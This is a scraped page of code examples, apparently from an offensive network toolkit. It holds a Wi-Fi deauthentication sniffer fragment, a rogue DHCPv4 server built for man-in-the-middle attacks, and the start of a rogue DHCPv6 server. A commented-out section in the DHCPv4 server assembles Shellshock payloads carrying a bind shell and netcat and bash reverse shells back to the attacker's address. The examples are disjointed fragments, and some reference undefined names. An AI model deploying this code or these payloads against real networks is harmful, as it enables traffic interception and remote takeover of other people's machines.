Ejemplo n.º 1
0

# region Main function
if __name__ == "__main__":

    path.append(dirname(dirname(dirname(abspath(__file__)))))

    from raw_packet.Utils.base import Base
    from raw_packet.Utils.network import RawEthernet
    from raw_packet.Utils.network import RawRadiotap
    from raw_packet.Utils.network import RawIEEE80211
    from raw_packet.Utils.network import RawSniff
    from raw_packet.Utils.tm import ThreadManager

    base: Base = Base()
    eth: RawEthernet = RawEthernet()
    radio: RawRadiotap = RawRadiotap()
    iee: RawIEEE80211 = RawIEEE80211()
    tm: ThreadManager = ThreadManager(2)
    sniff: RawSniff = RawSniff()

    # region Start sniffer
    raw_socket.bind(('wlan0', 0))
    init_deauth()
    print('test')
    sniff.start(protocols=['Radiotap', '802.11'], prn=deauth, network_interface='wlan0',
                filters={'802.11': {'type': 0xc0, 'bss id': bss_id, 'source': client, 'destination': bss_id}})
    # endregion

# endregion
Ejemplo n.º 2
0
class DHCPv4Server:

    # region Set properties
    _base: Base = Base()
    _utils: Utils = Utils()
    _sniff: RawSniff = RawSniff()
    _arp: RawARP = RawARP()
    _eth: RawEthernet = RawEthernet()
    _dhcpv4: RawDHCPv4 = RawDHCPv4()
    _thread_manager: ThreadManager = ThreadManager(10)

    _your: Dict[str, Union[None, str]] = {
        'network-interface': None,
        'mac-address': None,
        'ipv4-address': None
    }
    _target: Dict[str, Union[None, str]] = {
        'mac-address': None,
        'ipv4-address': None
    }
    _domain_search: Union[None, bytes] = None

    _free_ip_addresses: List[str] = list()
    _clients: Dict[str, Union[str, Dict[str, Union[bool, str]]]] = dict()

    _lease_time: int = 172800
    _shellshock_option_code: int = 114

    _discover_sender_is_work: bool = False
    _discover_sender_delay: float = 0.25

    _send_dhcp_discover_packets: bool = False
    _send_dhcp_offer_packets: bool = True
    _send_broadcast_dhcp_response: bool = False

    _exit_on_success: bool = False
    _apple: bool = False
    _quiet: bool = True

    # endregion

    # region Init
    def __init__(self, network_interface: str):
        self._your = self._base.get_interface_settings(
            interface_name=network_interface,
            required_parameters=[
                'mac-address', 'ipv4-address', 'ipv4-netmask',
                'first-ipv4-address', 'second-ipv4-address',
                'penultimate-ipv4-address', 'last-ipv4-address'
            ])
        self._ipv4_network_mask: str = self._your['ipv4-netmask']
        self._first_offer_ipv4_address: str = self._your['second-ipv4-address']
        self._last_offer_ipv4_address: str = self._your[
            'penultimate-ipv4-address']
        self._dhcp_server_mac_address: str = self._your['mac-address']
        self._dhcp_server_ipv4_address: str = self._your['ipv4-address']
        self._dns_server_ipv4_address: str = self._your['ipv4-address']
        self._tftp_server_ipv4_address: str = self._your['ipv4-address']
        self._wins_server_ipv4_address: str = self._your['ipv4-address']
        self._router_ipv4_address: str = self._your['ipv4-address']
        self._raw_send: RawSend = RawSend(network_interface=network_interface)

    # endregion

    # region Start DHCPv4 server
    def start(self,
              target_mac_address: Union[None, str] = None,
              target_ipv4_address: Union[None, str] = None,
              ipv4_network_mask: Union[None, str] = None,
              first_offer_ipv4_address: Union[None, str] = None,
              last_offer_ipv4_address: Union[None, str] = None,
              dhcp_server_mac_address: Union[None, str] = None,
              dhcp_server_ipv4_address: Union[None, str] = None,
              dns_server_ipv4_address: Union[None, str] = None,
              tftp_server_ipv4_address: Union[None, str] = None,
              wins_server_ipv4_address: Union[None, str] = None,
              router_ipv4_address: Union[None, str] = None,
              domain_search: str = 'domain.local',
              lease_time: int = 172800,
              shellshock_option_code: int = 114,
              send_dhcp_discover_packets: bool = False,
              send_dhcp_offer_packets: bool = False,
              send_broadcast_dhcp_response: bool = False,
              exit_on_success: bool = False,
              apple: bool = False,
              quiet: bool = False):

        # region Set variables
        self._lease_time = lease_time
        self._domain_search = domain_search.encode('utf-8')
        self._send_dhcp_discover_packets = send_dhcp_discover_packets
        self._send_dhcp_offer_packets = send_dhcp_offer_packets
        self._send_broadcast_dhcp_response = send_broadcast_dhcp_response
        self._exit_on_success = exit_on_success
        self._apple = apple
        self._quiet = quiet
        # endregion

        # region Get your network settings
        if ipv4_network_mask is not None:
            self._ipv4_network_mask = ipv4_network_mask
        # endregion

        # region Set target MAC and IP address, if target IP is not set - get first and last offer IP

        # region Target MAC address is set
        if target_mac_address is not None:
            self._target['mac-address'] = self._utils.check_mac_address(
                mac_address=target_mac_address,
                parameter_name='target MAC address')
        # endregion

        # region Target IP is set
        if target_ipv4_address is not None:
            assert self._target['mac-address'] is not None, \
                'Please set target MAC address' + \
                ', for target IP address: ' + self._base.info_text(target_ipv4_address)
            self._target['ipv4-address'] = \
                self._utils.check_ipv4_address(network_interface=self._your['network-interface'],
                                               ipv4_address=target_ipv4_address,
                                               parameter_name='target IPv4 address')
        # endregion

        # region Target IP is not set - get first and last offer IP
        else:
            # Check first offer IP address
            if first_offer_ipv4_address is not None:
                self._first_offer_ipv4_address = \
                    self._utils.check_ipv4_address(network_interface=self._your['network-interface'],
                                                   ipv4_address=first_offer_ipv4_address,
                                                   parameter_name='first offer IPv4 address')

            # Check last offer IP address
            if last_offer_ipv4_address is not None:
                self._last_offer_ipv4_address = \
                    self._utils.check_ipv4_address(network_interface=self._your['network-interface'],
                                                   ipv4_address=last_offer_ipv4_address,
                                                   parameter_name='last offer IPv4 address')
        # endregion

        # endregion

        # region Set DHCP sever MAC and IP address
        if dhcp_server_mac_address is not None:
            self._dhcp_server_mac_address = \
                self._utils.check_mac_address(mac_address=dhcp_server_mac_address,
                                              parameter_name='DHCPv4 server MAC address')

        if dhcp_server_ipv4_address is not None:
            self._dhcp_server_ipv4_address = \
                self._utils.check_ipv4_address(network_interface=self._your['network-interface'],
                                               ipv4_address=dhcp_server_ipv4_address,
                                               parameter_name='DHCPv4 server IPv4 address')
        # endregion

        # region Set router, dns, tftp, wins IP address

        # region Set router IP address
        if router_ipv4_address is not None:
            self._router_ipv4_address = \
                self._utils.check_ipv4_address(network_interface=self._your['network-interface'],
                                               ipv4_address=dhcp_server_ipv4_address,
                                               parameter_name='router IPv4 address')
        # endregion

        # region Set DNS server IP address
        if dns_server_ipv4_address is not None:
            assert self._base.ip_address_validation(dns_server_ipv4_address), \
                'Bad DNS server IPv4 address: ' + self._base.info_text(dns_server_ipv4_address)
            self._dns_server_ipv4_address = dns_server_ipv4_address
        # endregion

        # region Set TFTP server IP address
        if tftp_server_ipv4_address is not None:
            self._tftp_server_ipv4_address = \
                self._utils.check_ipv4_address(network_interface=self._your['network-interface'],
                                               ipv4_address=tftp_server_ipv4_address,
                                               parameter_name='TFTP server IPv4 address')
        # endregion

        # region Set WINS server IP address
        if wins_server_ipv4_address is not None:
            self._wins_server_ipv4_address = \
                self._utils.check_ipv4_address(network_interface=self._your['network-interface'],
                                               ipv4_address=tftp_server_ipv4_address,
                                               parameter_name='WINS server IPv4 address')
        # endregion

        # endregion

        # region Set Shellshock option code
        if 255 < shellshock_option_code < 0:
            self._base.print_error(
                'Bad Shellshock option code: ', str(shellshock_option_code),
                '; This value should be in the range from 1 to 254')
            exit(1)
        else:
            self._shellshock_option_code = shellshock_option_code
        # endregion

        # region General output
        if not self._quiet:
            self._base.print_info('Network interface: ',
                                  self._your['network-interface'])
            self._base.print_info('Your IP address: ',
                                  self._your['ipv4-address'])
            self._base.print_info('Your MAC address: ',
                                  self._your['mac-address'])

            if self._target['mac-address'] is not None:
                self._base.print_info('Target MAC: ',
                                      self._target['mac-address'])

            # If target IP address is set print target IP, else print first and last offer IP
            if self._target['ipv4-address'] is not None:
                self._base.print_info('Target IP: ',
                                      self._target['ipv4-address'])
            else:
                self._base.print_info('First offer IP: ',
                                      self._first_offer_ipv4_address)
                self._base.print_info('Last offer IP: ',
                                      self._last_offer_ipv4_address)

            self._base.print_info('DHCP server mac address: ',
                                  self._dhcp_server_mac_address)
            self._base.print_info('DHCP server ip address: ',
                                  self._dhcp_server_ipv4_address)
            self._base.print_info('Router IP address: ',
                                  self._router_ipv4_address)
            self._base.print_info('DNS server IP address: ',
                                  self._dns_server_ipv4_address)
            self._base.print_info('TFTP server IP address: ',
                                  self._tftp_server_ipv4_address)
            self._base.print_info('WINS server IP address: ',
                                  self._wins_server_ipv4_address)
        # endregion

        # region Add ip addresses in list with free ip addresses from first to last offer IP
        if self._target['ipv4-address'] is None:
            self._base.print_info(
                'Create list with free IP addresses in your network ...')
            self._free_ip_addresses = \
                self._utils.get_free_ipv4_addresses(network_interface=self._your['network-interface'],
                                                    first_ipv4_address=self._first_offer_ipv4_address,
                                                    last_ipv4_address=last_offer_ipv4_address,
                                                    quiet=self._quiet)
        # endregion

        # region Send DHCP discover packets in the background thread
        if self._send_dhcp_discover_packets:
            if not self._quiet:
                self._base.print_info(
                    'Start DHCP discover packets send in the background thread ...'
                )
                self._base.print_info('Delay between DHCP discover packets: ',
                                      str(self._discover_sender_delay))
            self._thread_manager.add_task(self._discover_sender)
        # endregion

        # region Sniff network

        # region Print info message
        self._base.print_info('Waiting for a ARP or DHCP requests ...')
        # endregion

        # region Set sniff filters
        sniff_filters: Dict = {
            'Ethernet': {
                'not-source': self._your['mac-address']
            },
            'ARP': {
                'opcode': 1
            },
            'UDP': {
                'destination-port': 67,
                'source-port': 68
            }
        }
        scapy_lfilter: Any = lambda eth: eth.src != self._your['mac-address']

        if self._target['mac-address'] is not None:
            sniff_filters['Ethernet'] = {'source': self._target['mac-address']}
            scapy_lfilter: Any = lambda eth: eth.src == self._target[
                'mac-address']
        # endregion

        # region Start sniffer
        self._sniff.start(protocols=['ARP', 'IPv4', 'UDP', 'DHCPv4'],
                          prn=self._reply,
                          filters=sniff_filters,
                          network_interface=self._your['network-interface'],
                          scapy_filter='arp or (udp and (port 67 or 68))',
                          scapy_lfilter=scapy_lfilter)
        # endregion

        # endregion

    # endregion

    # region Add client info in clients dictionary
    def _add_client_info_in_dictionary(
            self,
            client_mac_address: str,
            client_info: Union[bool, str, Dict[str, Union[bool, str]]],
            this_client_already_in_dictionary: bool = False) -> None:
        if this_client_already_in_dictionary:
            self._clients[client_mac_address].update(client_info)
        else:
            self._clients[client_mac_address] = client_info

    # endregion

    # region Make DHCP offer packet
    def _make_dhcp_offer_packet(
            self,
            transaction_id: int,
            offer_ip: str,
            client_mac: str,
            destination_mac: Union[None, str] = None,
            destination_ip: Union[None, str] = None) -> Union[None, bytes]:
        if destination_mac is None:
            destination_mac = 'ff:ff:ff:ff:ff:ff'
        if destination_ip is None:
            destination_ip = '255.255.255.255'
        return self._dhcpv4.make_response_packet(
            ethernet_src_mac=self._dhcp_server_mac_address,
            ethernet_dst_mac=destination_mac,
            ip_src=self._dhcp_server_ipv4_address,
            ip_dst=destination_ip,
            transaction_id=transaction_id,
            dhcp_message_type=2,
            your_client_ip=offer_ip,
            client_mac=client_mac,
            dhcp_server_id=self._dhcp_server_ipv4_address,
            lease_time=self._lease_time,
            netmask=self._ipv4_network_mask,
            router=self._router_ipv4_address,
            dns=self._dns_server_ipv4_address,
            payload=None)

    # endregion

    # region Make DHCP ack packet
    def _make_dhcp_ack_packet(
            self,
            transaction_id: int,
            target_mac: str,
            target_ip: str,
            destination_mac: Union[None, str] = None,
            destination_ip: Union[None, str] = None,
            shellshock_payload: Union[None, str] = None) -> Union[None, bytes]:
        if destination_mac is None:
            destination_mac: str = 'ff:ff:ff:ff:ff:ff'
        if destination_ip is None:
            destination_ip: str = '255.255.255.255'

        return self._dhcpv4.make_response_packet(
            ethernet_src_mac=self._dhcp_server_mac_address,
            ethernet_dst_mac=destination_mac,
            ip_src=self._dhcp_server_ipv4_address,
            ip_dst=destination_ip,
            transaction_id=transaction_id,
            dhcp_message_type=5,
            your_client_ip=target_ip,
            client_mac=target_mac,
            dhcp_server_id=self._dhcp_server_ipv4_address,
            lease_time=self._lease_time,
            netmask=self._ipv4_network_mask,
            router=self._router_ipv4_address,
            dns=self._dns_server_ipv4_address,
            payload=shellshock_payload,
            payload_option_code=self._shellshock_option_code,
            domain=self._domain_search,
            tftp=self._tftp_server_ipv4_address,
            wins=self._wins_server_ipv4_address)

    # endregion

    # region Make DHCP nak packet
    def _make_dhcp_nak_packet(self, transaction_id: int, target_mac: str,
                              target_ip: str,
                              requested_ip: str) -> Union[None, bytes]:
        return self._dhcpv4.make_nak_packet(
            ethernet_src_mac=self._dhcp_server_mac_address,
            ethernet_dst_mac=target_mac,
            ip_src=self._dhcp_server_ipv4_address,
            ip_dst=requested_ip,
            transaction_id=transaction_id,
            your_client_ip=target_ip,
            client_mac=target_mac,
            dhcp_server_id=self._dhcp_server_ipv4_address)

    # endregion

    # region Send DHCP discover packets
    def _discover_sender(self, number_of_packets=999999) -> None:
        packet_index = 0
        self._discover_sender_is_work = True
        while packet_index < number_of_packets:
            try:
                self._raw_send.send_packet(
                    self._dhcpv4.make_discover_packet(
                        ethernet_src_mac=self._your['mac-address'],
                        client_mac=self._eth.make_random_mac(),
                        host_name=self._base.make_random_string(),
                        relay_agent_ip=self._your['ipv4-address']))
                sleep(self._discover_sender_delay)
            except TypeError:
                self._base.print_error(
                    'Something went wrong when sending DHCP discover packets!')
                break
            packet_index += 1
        self._discover_sender_is_work = False

    # endregion

    # region Reply to DHCPv4 and ARP requests
    def _reply(self, packet):

        # region DHCP
        if 'DHCPv4' in packet.keys():

            # region Get transaction id and client MAC address
            transaction_id = packet['BOOTP']['transaction-id']
            client_mac_address = packet['BOOTP']['client-mac-address']
            # endregion

            # region Check this client already in dict
            client_already_in_dictionary = False
            if client_mac_address in self._clients.keys():
                client_already_in_dictionary = True
            # endregion

            # region DHCP DISCOVER
            if packet['DHCPv4'][53] == 1:

                # region Print INFO message
                self._base.print_info('DHCP DISCOVER from: ',
                                      client_mac_address, ' transaction id: ',
                                      hex(transaction_id))
                # endregion

                # If parameter 'Do not send DHCP OFFER packets' is not set
                if not self._send_dhcp_offer_packets:

                    # region Start DHCP discover sender
                    if self._send_dhcp_discover_packets:
                        if not self._discover_sender_is_work:
                            self._discover_sender(100)
                    # endregion

                    # If target IP address is set - offer IP = target IP
                    if self._target['ipv4-address'] is not None:
                        offer_ip_address = self._target['ipv4-address']

                    # If target IP address is not set - offer IP = random IP from free IP addresses list
                    else:
                        random_index = randint(0, len(self._free_ip_addresses))
                        offer_ip_address = self._free_ip_addresses[
                            random_index]

                        # Delete offer IP from free IP addresses list
                        del self._free_ip_addresses[random_index]

                    if self._send_broadcast_dhcp_response:
                        offer_packet = \
                            self._make_dhcp_offer_packet(transaction_id, offer_ip_address, client_mac_address)
                    else:
                        offer_packet = \
                            self._make_dhcp_offer_packet(transaction_id, offer_ip_address, client_mac_address,
                                                         client_mac_address, offer_ip_address)

                    self._raw_send.send_packet(offer_packet)

                    # Add client info in global self._clients dictionary
                    self._add_client_info_in_dictionary(
                        client_mac_address, {
                            'transaction': transaction_id,
                            'discover': True,
                            'offer_ip': offer_ip_address
                        }, client_already_in_dictionary)

                    # Print INFO message
                    self._base.print_info('DHCP OFFER to: ',
                                          client_mac_address, ' offer IP: ',
                                          offer_ip_address)

            # endregion

            # region DHCP RELEASE
            if packet['DHCPv4'][53] == 7:
                if packet['BOOTP']['client-ip-address'] is not None:
                    client_ip = packet['BOOTP']['client-ip-address']
                    self._base.print_info(
                        'DHCP RELEASE from: ',
                        client_ip + ' (' + client_mac_address + ')',
                        ' transaction id: ', hex(transaction_id))

                    # Add client info in global self._clients dictionary
                    self._add_client_info_in_dictionary(
                        client_mac_address, {'client_ip': client_ip},
                        client_already_in_dictionary)
                    # print self._clients

                    # Add release client IP in free IP addresses list
                    if client_ip not in self._free_ip_addresses:
                        self._free_ip_addresses.append(client_ip)
                else:
                    self._base.print_info('DHCP RELEASE from: ',
                                          client_mac_address,
                                          ' transaction id: ',
                                          hex(transaction_id))

                # Add client info in global self._clients dictionary
                self._add_client_info_in_dictionary(
                    client_mac_address, {'release': True},
                    client_already_in_dictionary)
                # print self._clients
            # endregion

            # region DHCP INFORM
            if packet['DHCPv4'][53] == 8:
                if packet['BOOTP']['client-ip-address'] is not None:
                    client_ip = packet['BOOTP']['client-ip-address']
                    self._base.print_info(
                        'DHCP INFORM from: ',
                        client_ip + ' (' + client_mac_address + ')',
                        ' transaction id: ', hex(transaction_id))

                    # If client IP in free IP addresses list delete this
                    if client_ip in self._free_ip_addresses:
                        self._free_ip_addresses.remove(client_ip)

                    # Add client info in global self._clients dictionary
                    self._add_client_info_in_dictionary(
                        client_mac_address, {'client_ip': client_ip},
                        client_already_in_dictionary)
                    # print self._clients

                else:
                    self._base.print_info('DHCP INFORM from: ',
                                          client_mac_address,
                                          ' transaction id: ',
                                          hex(transaction_id))

                # Add client info in global self._clients dictionary
                self._add_client_info_in_dictionary(
                    client_mac_address, {'inform': True},
                    client_already_in_dictionary)
                # print self._clients
            # endregion

            # region DHCP REQUEST
            if packet['DHCPv4'][53] == 3:

                # region Set local variables
                requested_ip = '0.0.0.0'
                offer_ip = None
                # endregion

                # region Get requested IP
                if 50 in packet['DHCPv4'].keys():
                    requested_ip = str(packet['DHCPv4'][50])
                # endregion

                # region Print info message
                self._base.print_info('DHCP REQUEST from: ',
                                      client_mac_address, ' transaction id: ',
                                      hex(transaction_id), ' requested ip: ',
                                      requested_ip)
                # endregion

                # region Requested IP not in range from first offer IP to last offer IP
                if not self._base.ip_address_in_range(
                        requested_ip, self._first_offer_ipv4_address,
                        self._last_offer_ipv4_address):
                    self._base.print_warning(
                        'Client: ', client_mac_address, ' requested IP: ',
                        requested_ip, ' not in range: ',
                        self._first_offer_ipv4_address + ' - ' +
                        self._last_offer_ipv4_address)
                # endregion

                # region Requested IP in range from first offer IP to last offer IP
                else:
                    # region Start DHCP discover sender
                    if self._send_dhcp_discover_packets:
                        if not self._discover_sender_is_work:
                            self._discover_sender(100)
                    # endregion

                    # region Change client info in global self._clients dictionary

                    # Add client info in global self._clients dictionary
                    self._add_client_info_in_dictionary(
                        client_mac_address, {
                            'packet': True,
                            'requested_ip': requested_ip,
                            'transaction': transaction_id
                        }, client_already_in_dictionary)

                    # Delete ARP mitm success keys in dictionary for this client
                    self._clients[client_mac_address].pop(
                        'client request his ip', None)
                    self._clients[client_mac_address].pop(
                        'client request router ip', None)
                    self._clients[client_mac_address].pop(
                        'client request dns ip', None)

                    # endregion

                    # region Get offer IP address
                    try:
                        offer_ip = self._clients[client_mac_address][
                            'offer_ip']
                    except KeyError:
                        pass
                    # endregion

                    # region This client already send DHCP DISCOVER and offer IP != requested IP
                    if offer_ip is not None and offer_ip != requested_ip:
                        # Print error message
                        self._base.print_error('Client: ', client_mac_address,
                                               ' requested IP: ', requested_ip,
                                               ' not like offer IP: ',
                                               offer_ip)

                        # Create and send DHCP nak packet
                        nak_packet = \
                            self._make_dhcp_nak_packet(transaction_id, client_mac_address, offer_ip, requested_ip)
                        self._raw_send.send_packet(nak_packet)
                        self._base.print_info('DHCP NAK to: ',
                                              client_mac_address,
                                              ' requested ip: ', requested_ip)

                        # Add client info in global self._clients dictionary
                        self._add_client_info_in_dictionary(
                            client_mac_address, {
                                'mitm':
                                'error: offer ip not like requested ip',
                                'offer_ip': None
                            }, client_already_in_dictionary)
                        # print self._clients
                    # endregion

                    # region Offer IP == requested IP or this is a first packet from this client
                    else:

                        # region Target IP address is set and requested IP != target IP
                        if self._target[
                                'ipv4-address'] is not None and requested_ip != self._target[
                                    'ipv4-address']:

                            # Print error message
                            self._base.print_error(
                                'Client: ', client_mac_address,
                                ' requested IP: ', requested_ip,
                                ' not like target IP: ',
                                self._target['ipv4-address'])

                            # Create and send DHCP nak packet
                            nak_packet = self._make_dhcp_nak_packet(
                                transaction_id, client_mac_address,
                                self._target['ipv4-address'], requested_ip)
                            self._raw_send.send_packet(nak_packet)
                            self._base.print_info('DHCP NAK to: ',
                                                  client_mac_address,
                                                  ' requested ip: ',
                                                  requested_ip)

                            # Add client info in global self._clients dictionary
                            self._add_client_info_in_dictionary(
                                client_mac_address, {
                                    'mitm':
                                    'error: target ip not like requested ip',
                                    'offer_ip': None,
                                    'nak': True
                                }, client_already_in_dictionary)

                        # endregion

                        # region Target IP address is set and requested IP == target IP or Target IP is not set
                        else:

                            # # region Settings shellshock payload
                            # payload: Union[None, str] = None
                            # shellshock_payload: Union[None, str] = None
                            #
                            # try:
                            #     assert args.shellshock_command is not None \
                            #            or args.bind_shell \
                            #            or args.nc_reverse_shell \
                            #            or args.nce_reverse_shell \
                            #            or args.bash_reverse_shell, 'ShellShock not used!'
                            #     # region Create payload
                            #
                            #     # Network settings command in target machine
                            #     net_settings = args.ip_path + 'ip addr add ' + requested_ip + '/' + \
                            #                    str(IPAddress(self._ipv4_network_mask).netmask_bits()) + \
                            #                    ' dev ' + args.iface_name + ';'
                            #
                            #     # Shellshock payload: <user bash command>
                            #     if args.shellshock_command is not None:
                            #         payload = args.shellshock_command
                            #
                            #     # Shellshock payload:
                            #     # awk 'BEGIN{s='/inet/tcp/<bind_port>/0/0';for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}' &
                            #     if args.bind_shell:
                            #         payload = 'awk \'BEGIN{s=\'/inet/tcp/' + str(args.bind_port) + \
                            #                   '/0/0\';for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}\' &'
                            #
                            #     # Shellshock payload:
                            #     # rm /tmp/f 2>/dev/null;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <your_ip> <your_port> >/tmp/f &
                            #     if args.nc_reverse_shell:
                            #         payload = 'rm /tmp/f 2>/dev/null;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ' + \
                            #                   your_ip_address + ' ' + str(args.reverse_port) + ' >/tmp/f &'
                            #
                            #     # Shellshock payload:
                            #     # /bin/nc -e /bin/sh <your_ip> <your_port> 2>&1 &
                            #     if args.nce_reverse_shell:
                            #         payload = '/bin/nc -e /bin/sh ' + your_ip_address + ' ' + str(args.reverse_port) + ' 2>&1 &'
                            #
                            #     # Shellshock payload:
                            #     # /bin/bash -i >& /dev/tcp/<your_ip>/<your_port> 0>&1 &
                            #     if args.bash_reverse_shell:
                            #         payload = '/bin/bash -i >& /dev/tcp/' + your_ip_address + \
                            #                   '/' + str(args.reverse_port) + ' 0>&1 &'
                            #
                            #     if payload is not None:
                            #
                            #         # Do not add network settings command in payload
                            #         if not args.without_network:
                            #             payload = net_settings + payload
                            #
                            #         # Send payload to target in clear text
                            #         if args.without_self._base64:
                            #             shellshock_payload = '() { :; }; ' + payload
                            #
                            #         # Send self._base64 encoded payload to target in clear text
                            #         else:
                            #             payload = b64encode(payload)
                            #             shellshock_payload = '() { :; }; /bin/sh <(/usr/bin/self._base64 -d <<< ' + payload + ')'
                            #     # endregion
                            #
                            #     # region Check Shellshock payload length
                            #     if shellshock_payload is not None:
                            #         if len(shellshock_payload) > 255:
                            #             self._base.print_error('Length of shellshock payload is very big! Current length: ',
                            #                              str(len(shellshock_payload)), ' Maximum length: ', '254')
                            #             shellshock_payload = None
                            #     # endregion
                            #
                            # except AssertionError:
                            #     pass
                            # # endregion

                            # region Send DHCP ack and print info message
                            if self._send_broadcast_dhcp_response:
                                ack_packet = self._make_dhcp_ack_packet(
                                    transaction_id=transaction_id,
                                    target_mac=client_mac_address,
                                    target_ip=requested_ip)
                            else:
                                ack_packet = self._make_dhcp_ack_packet(
                                    transaction_id=transaction_id,
                                    target_mac=client_mac_address,
                                    target_ip=requested_ip,
                                    destination_mac=client_mac_address,
                                    destination_ip=requested_ip)

                            if self._apple:
                                self._base.print_info('DHCP ACK to: ',
                                                      client_mac_address,
                                                      ' requested ip: ',
                                                      requested_ip)
                                for _ in range(3):
                                    self._raw_send.send_packet(ack_packet)
                                    sleep(0.2)
                            else:
                                self._raw_send.send_packet(ack_packet)
                                self._base.print_info('DHCP ACK to: ',
                                                      client_mac_address,
                                                      ' requested ip: ',
                                                      requested_ip)
                            # endregion

                            # region Add client info in global self._clients dictionary
                            try:
                                self._clients[client_mac_address].update(
                                    {'mitm': 'success'})
                            except KeyError:
                                self._clients[client_mac_address] = {
                                    'mitm': 'success'
                                }
                            # endregion

                        # endregion

                    # endregion

                # endregion

            # endregion

            # region DHCP DECLINE
            if packet['DHCPv4'][53] == 4:
                # Get requested IP
                requested_ip = '0.0.0.0'
                if 50 in packet['DHCPv4'].keys():
                    requested_ip = str(packet['DHCPv4'][50])

                # Print info message
                self._base.print_info(
                    'DHCP DECLINE from: ',
                    requested_ip + ' (' + client_mac_address + ')',
                    ' transaction id: ', hex(transaction_id))

                # If client IP in free IP addresses list delete this
                if requested_ip in self._free_ip_addresses:
                    self._free_ip_addresses.remove(requested_ip)

                # Add client info in global self._clients dictionary
                self._add_client_info_in_dictionary(
                    client_mac_address, {
                        'decline_ip': requested_ip,
                        'decline': True
                    }, client_already_in_dictionary)
                # print self._clients
            # endregion

        # endregion DHCP

        # region ARP
        if 'ARP' in packet.keys():
            if packet['Ethernet']['destination'] == 'ff:ff:ff:ff:ff:ff' and \
                    packet['ARP']['target-mac'] == '00:00:00:00:00:00':

                # region Set local variables
                arp_sender_mac_address = packet['ARP']['sender-mac']
                arp_sender_ip_address = packet['ARP']['sender-ip']
                arp_target_ip_address = packet['ARP']['target-ip']
                # endregion

                # region Print info message
                self._base.print_info('ARP packet from: ',
                                      arp_sender_mac_address, ' "Who has ',
                                      arp_target_ip_address, ' Tell ',
                                      arp_sender_ip_address, '"')
                # endregion

                # region Get client mitm status
                try:
                    mitm_status = self._clients[arp_sender_mac_address]['mitm']
                except KeyError:
                    mitm_status = ''
                # endregion

                # region Get client requested ip
                try:
                    requested_ip = self._clients[arp_sender_mac_address][
                        'requested_ip']
                except KeyError:
                    requested_ip = ''
                # endregion

                # region Create IPv4 address conflict
                if mitm_status.startswith('error'):
                    arp_reply = self._arp.make_response(
                        ethernet_src_mac=self._your['mac-address'],
                        ethernet_dst_mac=arp_sender_mac_address,
                        sender_mac=self._your['mac-address'],
                        sender_ip=arp_target_ip_address,
                        target_mac=arp_sender_mac_address,
                        target_ip=arp_sender_ip_address)
                    self._raw_send.send_packet(arp_reply)
                    self._base.print_info(
                        'ARP response to: ', arp_sender_mac_address, ' "',
                        arp_target_ip_address + ' is at ' +
                        self._your['mac-address'], '" (IPv4 address conflict)')
                # endregion

                # region MITM success
                if mitm_status.startswith('success'):

                    if arp_target_ip_address == requested_ip:
                        self._clients[arp_sender_mac_address].update(
                            {'client request his ip': True})

                    if arp_target_ip_address == self._router_ipv4_address:
                        self._clients[arp_sender_mac_address].update(
                            {'client request router ip': True})

                    if arp_target_ip_address == self._dns_server_ipv4_address:
                        self._clients[arp_sender_mac_address].update(
                            {'client request dns ip': True})

                    try:
                        assert self._clients[arp_sender_mac_address][
                            'client request his ip']
                        assert self._clients[arp_sender_mac_address][
                            'client request router ip']
                        assert self._clients[arp_sender_mac_address][
                            'client request dns ip']

                        assert 'success message' not in self._clients[
                            arp_sender_mac_address].keys()
                        self._base.print_success(
                            'MITM success: ',
                            requested_ip + ' (' + arp_sender_mac_address + ')')
                        if self._exit_on_success:
                            sleep(3)
                            exit(0)
                        else:
                            self._clients[arp_sender_mac_address].update(
                                {'success message': True})

                    except KeyError:
                        pass

                    except AssertionError:
                        pass
Ejemplo n.º 3
0
class DHCPv6Server:

    # region Set properties
    _base: Base = Base()
    _utils: Utils = Utils()
    _sniff: RawSniff = RawSniff()
    _eth: RawEthernet = RawEthernet()
    _icmpv6: RawICMPv6 = RawICMPv6()
    _dhcpv6: RawDHCPv6 = RawDHCPv6()
    _thread_manager: ThreadManager = ThreadManager(10)

    _your: Dict[str, Union[None, str]] = {
        'network-interface': None,
        'mac-address': None,
        'ipv6-link-address': None
    }
    _target: Dict[str, Union[None, str]] = {
        'mac-address': None,
        'ipv6-address': None
    }
    _clients: Dict[str, Dict[str, Union[bool, str]]] = dict()

    _ipv6_prefix: str = 'fde4:8dba:82e1:ffff::/64'
    _ipv6_prefix_address: str = 'fde4:8dba:82e1:ffff::'

    _first_ipv6_address_suffix: int = 2
    _last_ipv6_address_suffix: int = 65534

    _domain_search: str = 'domain.local'

    _solicit_packets_delay: float = 1

    _disable_dhcpv6: bool = False
    _exit_on_success: bool = False
    _quiet: bool = True

    # endregion

    # region Init
    def __init__(self, network_interface: str):
        self._your = self._base.get_interface_settings(
            interface_name=network_interface,
            required_parameters=['mac-address', 'ipv6-link-address'])
        self._dns_server_ipv6_address: str = self._your['ipv6-link-address']
        self._raw_send: RawSend = RawSend(network_interface=network_interface)

    # endregion

    # region Start DHCPv6 Server
    def start(self,
              target_mac_address: Union[None, str] = None,
              target_ipv6_address: Union[None, str] = None,
              first_ipv6_address_suffix: int = 2,
              last_ipv6_address_suffix: int = 65534,
              dns_server_ipv6_address: Union[None, str] = None,
              ipv6_prefix: str = 'fde4:8dba:82e1:ffff::/64',
              domain_search: str = 'domain.local',
              disable_dhcpv6: bool = False,
              exit_on_success: bool = False,
              quiet: bool = False) -> None:

        # region Set variables
        self._ipv6_prefix: str = ipv6_prefix
        self._ipv6_prefix_address: str = self._ipv6_prefix.split('/')[0]
        self._disable_dhcpv6 = disable_dhcpv6
        self._domain_search = domain_search
        self._exit_on_success = exit_on_success
        self._quiet = quiet
        # endregion

        # region Set target MAC and IPv6 address, if target IP is not set - get first and last suffix IPv6 address

        # region Set target IPv6 address
        if target_mac_address is not None:
            self._target['mac-address'] = \
                self._utils.check_mac_address(mac_address=target_mac_address,
                                              parameter_name='target MAC address')
        # endregion

        # region Target IPv6 is set
        if target_ipv6_address is not None:
            assert target_mac_address is not None, \
                'Please set target MAC address for target IPv6 address: ' + \
                self._base.info_text(str(target_ipv6_address))
            self._target['ipv6-address'] = \
                self._utils.check_ipv6_address(network_interface=self._your['network-interface'],
                                               ipv6_address=target_ipv6_address,
                                               is_local_ipv6_address=False,
                                               parameter_name='target IPv6 address')
            self._clients[self._target['mac-address']] = {
                'advertise address': self._target['ipv6-address']
            }
